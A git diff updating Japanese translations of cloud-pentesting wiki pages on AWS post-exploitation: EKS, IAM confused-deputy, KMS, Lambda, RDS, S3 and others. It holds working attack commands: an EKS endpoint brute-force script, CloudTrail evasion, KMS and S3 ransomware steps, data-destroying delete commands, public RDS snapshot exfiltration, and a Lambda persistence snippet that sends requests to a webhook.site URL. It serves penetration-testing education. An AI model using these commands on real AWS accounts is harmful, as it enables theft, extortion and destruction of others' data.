[こちら](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) を参照) と **クラスターの名前** が必要です。 +もしあなたが **`aws eks get-token --name `** で **トークンを取得できる** が、クラスター情報を取得する権限(describeCluster)がない場合、あなた自身の **`~/.kube/config`** を **準備する** ことができます。しかし、トークンを持っていても、接続するための **url エンドポイント** が必要です(ポッドからJWTトークンを取得できた場合は [こちら](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) を読んでください)と **クラスターの名前** が必要です。 -私の場合、CloudWatch ログでは情報を見つけられませんでしたが、**LaunchTemplates の userData** と **EC2 マシンの userData** で見つけました。この情報は **userData** で簡単に見ることができます。例えば、次の例では (クラスター名は cluster-name でした): +私の場合、CloudWatchログでは情報を見つけられませんでしたが、**LaunchTemplatesのuserData** と **EC2マシンのuserData** で情報を見つけました。この情報は **userData** で簡単に見ることができます。例えば、次の例では(クラスター名は cluster-name でした): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com @@ -72,24 +72,24 @@ provideClusterInfo: false ### AWSからKubernetesへ -**EKSクラスター**の**作成者**は、グループ**`system:masters`**(k8s管理者)のkubernetesクラスター部分に**常に**アクセスできることになります。この執筆時点では、**クラスターを作成した人**を見つける**直接的な方法**はありません(CloudTrailを確認できます)。また、その**特権**を**削除する方法**もありません。 +**EKSクラスター**の**作成者**は、グループ**`system:masters`**(k8s管理者)のkubernetesクラスター部分に**常に**アクセスできることになります。この文書作成時点では、**クラスターを作成した人**を見つける**直接的な方法**は**ありません**(CloudTrailを確認できます)。また、その**特権**を**削除する方法**も**ありません**。 -**K8sへのアクセスを他のAWS IAMユーザーやロールに付与する方法**は、**configmap** **`aws-auth`**を使用することです。 +**AWS IAMユーザーやロールにK8sへのアクセスを付与する方法**は、**configmap** **`aws-auth`**を使用することです。 > [!WARNING] > したがって、config map **`aws-auth`**に**書き込みアクセス**を持つ人は、**クラスター全体を危険にさらす**ことができます。 -**同じまたは異なるアカウント**でIAMロールやユーザーに**追加の特権を付与する方法**や、これを**悪用する方法**については、[**privescこのページを確認してください**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)。 +**同じまたは異なるアカウント**でIAMロールやユーザーに**追加の特権を付与する方法**や、これを**悪用する方法**については、[**このページを確認してください**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)。 また、[**この素晴らしい**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **投稿をチェックして、IAMからKubernetesへの認証がどのように機能するかを学んでください**。 ### KubernetesからAWSへ -**Kubernetesサービスアカウント**のために**OpenID認証を許可する**ことが可能で、これによりAWSでロールを引き受けることができます。これがどのように機能するかについては、[**このページで学んでください**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)。 +**Kubernetesサービスアカウント**のための**OpenID認証**を許可し、AWSでロールを引き受けることができるようにすることが可能です。これがどのように機能するかは、[**このページで学んでください**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)。 ### JWTトークンからAPIサーバーエンドポイントを取得する -JWTトークンをデコードすると、クラスターIDとリージョンが得られます。![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URLの標準形式は次の通りです。 +JWTトークンをデコードすると、クラスターIDとリージョンが得られます。![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URLの標準フォーマットは ```bash https://...eks.amazonaws.com ``` @@ -98,7 +98,7 @@ https://...eks.amazonaws.com - gr7 - yl4 -とにかく、たった3文字なので、ブルートフォース攻撃できます。リストを生成するために以下のスクリプトを使用してください。 +いずれにせよ、たった3文字なので、ブルートフォース攻撃できます。リストを生成するために以下のスクリプトを使用してください。 ```python from itertools import product from string import ascii_lowercase @@ -123,20 +123,20 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws ### CloudTrailのバイパス -攻撃者が**EKSに対する権限を持つAWSの資格情報**を取得した場合、攻撃者が前述のように**`update-kubeconfig`**を呼び出さずに独自の**`kubeconfig`**を設定すると、**`get-token`**はAWS APIと対話しないため、CloudTrailにログを生成しません(トークンをローカルで作成するだけです)。 +攻撃者が**EKSに対する権限を持つAWSの資格情報**を取得した場合、攻撃者が前述のように**`update-kubeconfig`**を呼び出さずに独自の**`kubeconfig`**を設定すると、**`get-token`**はCloudTrailにログを生成しません(AWS APIと対話せず、トークンをローカルで作成するだけだからです)。 -したがって、攻撃者がEKSクラスターと通信すると、**cloudtrailはユーザーが盗まれてアクセスしていることに関連する何もログに記録しません**。 +したがって、攻撃者がEKSクラスターと通信すると、**cloudtrailはユーザーが盗まれてアクセスしていることに関連するログを記録しません**。 -**EKSクラスターにはこのアクセスをログに記録するログが有効になっている可能性がある**ことに注意してください(デフォルトでは無効になっていますが)。 +**EKSクラスターにはこのアクセスを記録するログが有効になっている可能性がある**ことに注意してください(デフォルトでは無効になっていますが)。 ### EKSの身代金? -デフォルトでは、**クラスターを作成したユーザーまたはロールは**、**常にクラスターに対して管理者権限を持つ**ことになります。そして、それがKubernetesクラスターに対するAWSの唯一の「安全な」アクセスです。 +デフォルトでは、**クラスターを作成したユーザーまたはロール**は**常にクラスターに対して管理者権限を持つ**ことになります。そして、それがKubernetesクラスターに対するAWSの唯一の「安全な」アクセスです。 -したがって、**攻撃者がFargateを使用してクラスターを侵害し**、**他のすべての管理者を削除し**、**クラスターを作成したAWSユーザー/ロールを削除した場合、~~攻撃者はクラスターを**身代金にすることができた~~**。 +したがって、**攻撃者がFargateを使用してクラスターを侵害し**、**他のすべての管理者を削除し**、**クラスターを作成したAWSユーザー/ロールを削除**すると、~~攻撃者は**クラスターを身代金にすることができた**~~**。 > [!TIP] -> クラスターが**EC2 VM**を使用している場合、**ノード**から管理者権限を取得し、クラスターを回復することが可能であることに注意してください。 +> クラスターが**EC2 VM**を使用している場合、**ノード**から管理者権限を取得し、クラスターを回復することが可能です。 > > 実際、クラスターがFargateを使用している場合、EC2ノードを使用するか、すべてをEC2に移動してクラスターを回復し、ノード内のトークンにアクセスすることができます。 diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index ce9749c39..927ff164b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - Elastic Beanstalk ポストエクスプロイテーション +# AWS - Elastic Beanstalk Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## Elastic Beanstalk -詳細情報: +詳細情報については: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md @@ -15,16 +15,16 @@ > [!NOTE] > TODO: これに対して追加の権限が必要かテストする -`elasticbeanstalk:DeleteApplicationVersion` の権限を持つ攻撃者は **既存のアプリケーションバージョンを削除** できます。このアクションは、アプリケーションデプロイメントパイプラインを妨害したり、バックアップがない場合に特定のアプリケーションバージョンの損失を引き起こす可能性があります。 +`elasticbeanstalk:DeleteApplicationVersion` の権限を持つ攻撃者は **既存のアプリケーションバージョンを削除** できます。このアクションは、アプリケーションのデプロイメントパイプラインを妨害したり、バックアップがない場合に特定のアプリケーションバージョンの損失を引き起こす可能性があります。 ```bash aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version ``` -**潜在的な影響**: アプリケーションのデプロイメントの中断とアプリケーションバージョンの潜在的な損失。 +**潜在的影響**: アプリケーションのデプロイメントの中断とアプリケーションバージョンの潜在的な損失。 ### `elasticbeanstalk:TerminateEnvironment` > [!NOTE] -> TODO: これに必要な権限が他にあるかテストする +> TODO: これに対して追加の権限が必要かテストする `elasticbeanstalk:TerminateEnvironment` の権限を持つ攻撃者は、**既存の Elastic Beanstalk 環境を終了させる**ことができ、アプリケーションのダウンタイムを引き起こし、環境がバックアップ用に構成されていない場合はデータ損失の可能性があります。 ```bash @@ -41,7 +41,7 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` -**潜在的な影響**: アプリケーションリソース、構成、環境、およびアプリケーションバージョンの喪失により、サービスの中断やデータ損失の可能性があります。 +**潜在的影響**: アプリケーションリソース、設定、環境、およびアプリケーションバージョンの喪失により、サービスの中断やデータ損失の可能性があります。 ### `elasticbeanstalk:SwapEnvironmentCNAMEs` @@ -59,12 +59,12 @@ aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 > [!NOTE] > TODO: これに必要な権限が他にあるかテストする -`elasticbeanstalk:AddTags` および `elasticbeanstalk:RemoveTags` 権限を持つ攻撃者は **Elastic Beanstalk リソースにタグを追加または削除することができます**。このアクションは、リソースの不正な割り当て、請求、またはリソース管理につながる可能性があります。 +`elasticbeanstalk:AddTags` および `elasticbeanstalk:RemoveTags` 権限を持つ攻撃者は、**Elastic Beanstalk リソースにタグを追加または削除**することができます。このアクションは、リソースの不正な割り当て、請求、またはリソース管理につながる可能性があります。 ```bash aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1 aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag ``` -**潜在的な影響**: 追加または削除されたタグによるリソースの不適切な割り当て、請求、またはリソース管理。 +**潜在的影響**: 追加または削除されたタグによるリソースの不適切な割り当て、請求、またはリソース管理。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index eaa94f9c6..fc6e2acf5 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -1,24 +1,24 @@ -# AWS - IAM Post Exploitation +# AWS - IAM ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## IAM -IAMアクセスに関する詳細情報: +IAM アクセスに関する詳細情報: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -## Confused Deputy Problem +## 混乱した代理人問題 -もしあなたが**外部アカウント(A)**にあなたのアカウントの**ロール**にアクセスすることを許可すると、**その外部アカウントに正確にアクセスできるのは誰か**について**0の可視性**しか持たないことになります。これは問題です。なぜなら、別の外部アカウント(B)が外部アカウント(A)にアクセスできる場合、**Bもあなたのアカウントにアクセスできる可能性があるからです**。 +もしあなたが **外部アカウント (A)** にあなたのアカウントの **ロール** へのアクセスを許可すると、あなたは **その外部アカウントに正確にアクセスできる人が誰かについての可視性がゼロ** になるでしょう。これは問題です。なぜなら、別の外部アカウント (B) が外部アカウント (A) にアクセスできる場合、**Bもあなたのアカウントにアクセスできる可能性があるからです**。 -したがって、外部アカウントがあなたのアカウントのロールにアクセスすることを許可する際には、`ExternalId`を指定することが可能です。これは、外部アカウント(A)が**あなたの組織のロールを引き受けるために**指定する必要がある「秘密」の文字列です。**外部アカウントBはこの文字列を知らないため**、Aにアクセスできても、**あなたのロールにアクセスすることはできません**。 +したがって、外部アカウントがあなたのアカウントのロールにアクセスすることを許可する際には、`ExternalId` を指定することが可能です。これは、外部アカウント (A) が **あなたの組織のロールを引き受けるために指定する必要がある** "秘密" の文字列です。**外部アカウント B はこの文字列を知らないため**、A にアクセスできても、**あなたのロールにアクセスすることはできません**。
-ただし、この`ExternalId`の「秘密」は**秘密ではありません**。IAMのロール引き受けポリシーを**読むことができる人は誰でもそれを見ることができます**。しかし、外部アカウントAがそれを知っていて、外部アカウント**Bがそれを知らない限り、BがAを悪用してあなたのロールにアクセスすることを**防ぎます**。 +ただし、この `ExternalId` の "秘密" は **秘密ではありません**。IAM のロール引き受けポリシーを **読むことができる人は誰でもそれを見ることができます**。しかし、外部アカウント A がそれを知っていて、外部アカウント **B がそれを知らない限り、B が A を悪用してあなたのロールにアクセスすることを防ぎます**。 例: ```json @@ -62,9 +62,9 @@ IAMアクセスに関する詳細情報: "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -このポリシーは**任意のアカウント**がこのLambdaを呼び出すために自分のapigatewayを設定することを許可します。 +このポリシーは**任意のアカウント**が自分のapigatewayを設定してこのLambdaを呼び出すことを許可します。 -#### S3を主体として +#### S3をプリンシパルとして ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, @@ -73,7 +73,7 @@ IAMアクセスに関する詳細情報: } } ``` -もしS3バケットがプリンシパルとして指定されている場合、S3バケットにはアカウントIDがないため、もし**あなたのバケットを削除し、攻撃者が自分のアカウントでそれを作成した場合**、彼らはこれを悪用することができます。 +S3バケットがプリンシパルとして指定されている場合、S3バケットにはアカウントIDがないため、**バケットを削除し、攻撃者が自分のアカウントで作成した場合**、彼らはこれを悪用することができます。 #### サポートされていません ```json @@ -84,7 +84,7 @@ IAMアクセスに関する詳細情報: "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -混乱した代理人の問題を回避する一般的な方法は、`AWS:SourceArn`を使用して起源ARNをチェックする条件を使用することです。しかし、**一部のサービスはそれをサポートしていない可能性があります**(いくつかの情報源によるとCloudTrailのように)。 +Confused Deputyの問題を回避する一般的な方法は、`AWS:SourceArn`を使用して起源ARNを確認する条件を使用することです。しかし、**一部のサービスはそれをサポートしていない可能性があります**(いくつかの情報源によるとCloudTrailのように)。 ## 参考文献 diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 37276542e..8f6d6fcad 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -12,9 +12,9 @@ ### 情報の暗号化/復号化 -`fileb://` と `file://` は、AWS CLI コマンドでローカルファイルのパスを指定するために使用される URI スキームです: +`fileb://` と `file://` は、AWS CLI コマンドでローカルファイルへのパスを指定するために使用される URI スキームです: -- `fileb://:` バイナリモードでファイルを読み取ります。通常、テキスト以外のファイルに使用されます。 +- `fileb://:` バイナリモードでファイルを読み取ります。通常、非テキストファイルに使用されます。 - `file://:` テキストモードでファイルを読み取ります。通常、プレーンテキストファイル、スクリプト、または特別なエンコーディング要件のない JSON に使用されます。 > [!TIP] @@ -60,14 +60,14 @@ aws kms decrypt \ ``` ### KMS ランサムウェア -KMS に対して特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更し、**自分のアカウントに対してアクセスを付与し**、正当なアカウントに付与されたアクセスを削除することができます。 +KMS に特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更し、**自分のアカウントに対するアクセスを付与し**、正当なアカウントに付与されたアクセスを削除することができます。 その結果、正当なアカウントのユーザーは、これらのキーで暗号化されたサービスの情報にアクセスできなくなり、アカウントに対して簡単だが効果的なランサムウェアを作成します。 > [!WARNING] > **AWS 管理キーはこの攻撃の影響を受けません**、**顧客管理キー**のみが影響を受けます。 -> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要があることに注意してください(ウェブコンソールにこのオプションがないため、この攻撃は CLI からのみ可能です)。 +> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要があることに注意してください(このオプションがウェブコンソールにないため、この攻撃は CLI からのみ可能です)。 ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ @@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> 注意してください。ポリシーを変更して外部アカウントにのみアクセスを与え、その外部アカウントから元のアカウントにアクセスを戻す新しいポリシーを設定しようとすると、**できなくなります**。 +> 注意してください。ポリシーを変更して外部アカウントにのみアクセスを許可した場合、その外部アカウントから新しいポリシーを設定して**元のアカウントにアクセスを戻すことはできません**。
@@ -103,7 +103,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ グローバルKMSランサムウェアを実行する別の方法があり、以下の手順が含まれます: - 攻撃者によってインポートされた**キー素材**を持つ新しい**キーを作成する** -- 新しいキーで以前のバージョンで暗号化された**古いデータを再暗号化する** +- 以前のバージョンで暗号化された**古いデータを新しいもので再暗号化する** - **KMSキーを削除する** - これで、元のキー素材を持つ攻撃者だけが暗号化されたデータを復号化できるようになります @@ -118,7 +118,7 @@ aws kms schedule-key-deletion \ --pending-window-in-days 7 ``` > [!CAUTION] -> AWSは現在、**クロスアカウントからの以前のアクションの実行を防止しています:** +> AWSは現在、**クロスアカウントから前のアクションが実行されるのを防いでいます:**
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 191046845..f9f870dbe 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -10,7 +10,7 @@ ../../aws-services/aws-lambda-enum.md {{#endref}} -### 他のLambdaのURLリクエストを盗む +### 他のLambda URLリクエストを盗む 攻撃者が何らかの方法でLambda内でRCEを取得した場合、他のユーザーのHTTPリクエストをLambdaから盗むことができます。リクエストに機密情報(クッキー、認証情報など)が含まれている場合、それを盗むことができます。 @@ -18,7 +18,7 @@ aws-warm-lambda-persistence.md {{#endref}} -### 他のLambdaのURLリクエストと拡張リクエストを盗む +### 他のLambda URLリクエストと拡張リクエストを盗む Lambda Layersを悪用することで、拡張機能を悪用し、Lambdaに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。 diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index 88cab8ea9..16551b306 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -20,10 +20,10 @@ bootstrapはユーザーコードをモジュールとして読み込むため この攻撃の目的は、ユーザーコードが脆弱なリクエストを処理する**`bootstrap.py`**プロセス内で悪意のある**`bootstrap.py`**プロセスを実行させることです。このようにして、**悪意のあるbootstrap**プロセスは**initプロセスと通信を開始**し、リクエストを処理しますが、**正当な**bootstrapは**トラップ**されて悪意のあるものを実行しているため、initプロセスにリクエストを要求しません。 -これは、ユーザーのコードが正当な**`bootstrap.py`**プロセスによって実行されているため、達成するのは簡単な作業です。したがって、攻撃者は次のことができます: +これは、ユーザーのコードが正当な**`bootstrap.py`**プロセスによって実行されているため、簡単に達成できるタスクです。したがって、攻撃者は次のことができます: - **現在の呼び出しの偽の結果をinitプロセスに送信**し、initがbootstrapプロセスがさらに呼び出しを待っていると考えさせる。 -- **`/${invoke-id}/response`**にリクエストを送信する必要があります。 +- リクエストは**`/${invoke-id}/response`**に送信する必要があります。 - invoke-idは、正当な**`bootstrap.py`**プロセスのスタックから[**inspect**](https://docs.python.org/3/library/inspect.html) pythonモジュールを使用して取得することができます([ここで提案されたように](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py))または再度**`/2018-06-01/runtime/invocation/next`**にリクエストすることでも取得できます([ここで提案されたように](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py))。 - 次の呼び出しを処理する悪意のある**`boostrap.py`**を実行する。 - ステルス性の目的で、lambda呼び出しパラメータを攻撃者が制御するC2に送信し、その後リクエストを通常通り処理することが可能です。 @@ -52,9 +52,9 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402 exec(new_runtime) EOF ``` -For more info check [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher) +詳細については、[https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)を確認してください。 -## References +## 参考文献 - [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md index 41c5365af..f5d03ed58 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - Lightsail Post Exploitation +# AWS - Lightsail ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## Lightsail -詳細については、次を確認してください: +詳細については、次を確認してください: {{#ref}} ../aws-services/aws-lightsail-enum.md @@ -16,12 +16,12 @@ DBにスナップショットがある場合、**古いスナップショット ### インスタンススナップショットの復元 -インスタンススナップショットには、**既に削除されたインスタンスの機密情報や、現在のインスタンスで削除された機密情報が含まれている可能性があります**。**スナップショットから新しいインスタンスを作成**し、確認してください。\ +インスタンススナップショットには、**すでに削除されたインスタンスの機密情報**や、現在のインスタンスで削除された機密情報が含まれている可能性があります。**スナップショットから新しいインスタンスを作成**し、確認してください。\ または、**スナップショットをEC2のAMIにエクスポート**し、通常のEC2インスタンスの手順に従ってください。 ### 機密情報へのアクセス -Lightsailの特権昇格オプションを確認して、潜在的な機密情報にアクセスするさまざまな方法を学んでください: +Lightsailの特権昇格オプションを確認して、潜在的な機密情報にアクセスするさまざまな方法を学んでください: {{#ref}} ../aws-privilege-escalation/aws-lightsail-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md index 694dd3a03..00e324856 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md @@ -2,15 +2,15 @@ {{#include ../../../banners/hacktricks-training.md}} -## 組織 +## Organizations -AWS Organizationsに関する詳細情報は、以下を確認してください: +AWS Organizationsに関する詳細は、以下を確認してください: {{#ref}} ../aws-services/aws-organizations-enum.md {{#endref}} -### 組織を離れる +### Orgを離れる ```bash aws organizations deregister-account --account-id --region ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md index 10b0955ee..24161d8bc 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md @@ -42,7 +42,7 @@ aws rds modify-db-instance \ これらの権限を持つ攻撃者は、**DBのスナップショットを作成**し、それを**公開****可能**にすることができます。次に、彼はそのスナップショットから自分のアカウントにDBを作成することができます。 -攻撃者が**`rds:CreateDBSnapshot`**を持っていない場合でも、他の作成されたスナップショットを**公開**にすることができます。 +攻撃者が**`rds:CreateDBSnapshot`**を持っていない場合でも、**他の**作成されたスナップショットを**公開**にすることができます。 ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,11 +53,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロード** できます。機密データやアクセス資格情報が誤ってログに記録された場合、攻撃者はこの情報を利用して権限を昇格させたり、不正な操作を行ったりする可能性があります。 +`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロード** できます。機密データやアクセス資格情報が誤ってログに記録されている場合、攻撃者はこの情報を利用して権限を昇格させたり、無許可の行動を行ったりする可能性があります。 ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**潜在的な影響**: 漏洩した資格情報を使用して、機密情報へのアクセスや不正な操作が行われる可能性があります。 +**潜在的な影響**: 漏洩した資格情報を使用して、機密情報へのアクセスや不正な操作が可能になります。 ### `rds:DeleteDBInstance` @@ -66,17 +66,17 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance -- # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**潜在的な影響**: 既存のRDSインスタンスの削除と、データの損失の可能性。 +**潜在的な影響**: 既存のRDSインスタンスの削除とデータの損失の可能性。 ### `rds:StartExportTask` > [!NOTE] > TODO: テスト -この権限を持つ攻撃者は、**RDSインスタンスのスナップショットをS3バケットにエクスポート**できます。攻撃者が宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。 +この権限を持つ攻撃者は**RDSインスタンスのスナップショットをS3バケットにエクスポート**できます。攻撃者が宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。 ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**潜在的な影響**: エクスポートされたスナップショット内の機密データへのアクセス。 +**潜在的な影響**: エクスポートされたスナップショット内の機密データへのアクセス。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md index cf3b2afbc..a58fb09bd 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md @@ -12,20 +12,20 @@ ### 機密情報 -時には、バケット内で読み取り可能な機密情報を見つけることができます。例えば、terraformの状態秘密。 +時には、バケット内で読み取れる機密情報を見つけることができます。例えば、terraformの状態秘密。 ### ピボッティング 異なるプラットフォームがS3を使用して機密資産を保存している可能性があります。\ -例えば、**airflow**が**DAGs**の**コード**をそこに保存しているか、**ウェブページ**がS3から直接提供されている可能性があります。書き込み権限を持つ攻撃者は、バケット内の**コードを変更**して他のプラットフォームに**ピボット**したり、JSファイルを変更して**アカウントを乗っ取る**ことができます。 +例えば、**airflow**が**DAGs**の**コード**をそこに保存しているか、**ウェブページ**がS3から直接提供されているかもしれません。書き込み権限を持つ攻撃者は、バケットの**コードを変更**して他のプラットフォームに**ピボット**したり、JSファイルを変更して**アカウントを乗っ取る**ことができます。 ### S3 ランサムウェア -このシナリオでは、**攻撃者が自分のAWSアカウント**または別の侵害されたアカウントにKMS(キー管理サービス)キーを作成します。次に、この**キーを世界中の誰でもアクセスできるようにします**。これにより、任意のAWSユーザー、ロール、またはアカウントがこのキーを使用してオブジェクトを暗号化できます。しかし、オブジェクトは復号化できません。 +このシナリオでは、**攻撃者が自分のAWSアカウント**または別の侵害されたアカウントにKMS(キー管理サービス)キーを作成します。次に、この**キーを世界中の誰でもアクセスできるようにします**。これにより、任意のAWSユーザー、ロール、またはアカウントがこのキーを使用してオブジェクトを暗号化できるようになります。ただし、オブジェクトは復号化できません。 -攻撃者はターゲットの**S3バケットを特定し、さまざまな方法で書き込みレベルのアクセスを取得**します。これは、公開されている不適切なバケット設定や、攻撃者がAWS環境自体にアクセスを得たことが原因である可能性があります。攻撃者は通常、個人を特定できる情報(PII)、保護された健康情報(PHI)、ログ、バックアップなどの機密情報を含むバケットをターゲットにします。 +攻撃者はターゲットの**S3バケットを特定し、さまざまな方法で書き込みレベルのアクセスを取得**します。これは、公開されている不適切なバケット構成や、攻撃者がAWS環境自体にアクセスを得ることによるものです。攻撃者は通常、個人を特定できる情報(PII)、保護された健康情報(PHI)、ログ、バックアップなどの機密情報を含むバケットをターゲットにします。 -バケットがランサムウェアのターゲットになり得るかどうかを判断するために、攻撃者はその設定を確認します。これには、**S3オブジェクトバージョニング**が有効になっているか、**多要素認証削除(MFA削除)が有効になっているか**を確認することが含まれます。オブジェクトバージョニングが有効でない場合、攻撃者は進行できます。オブジェクトバージョニングが有効だがMFA削除が無効な場合、攻撃者は**オブジェクトバージョニングを無効にする**ことができます。オブジェクトバージョニングとMFA削除の両方が有効な場合、攻撃者がその特定のバケットをランサムウェア化するのはより困難になります。 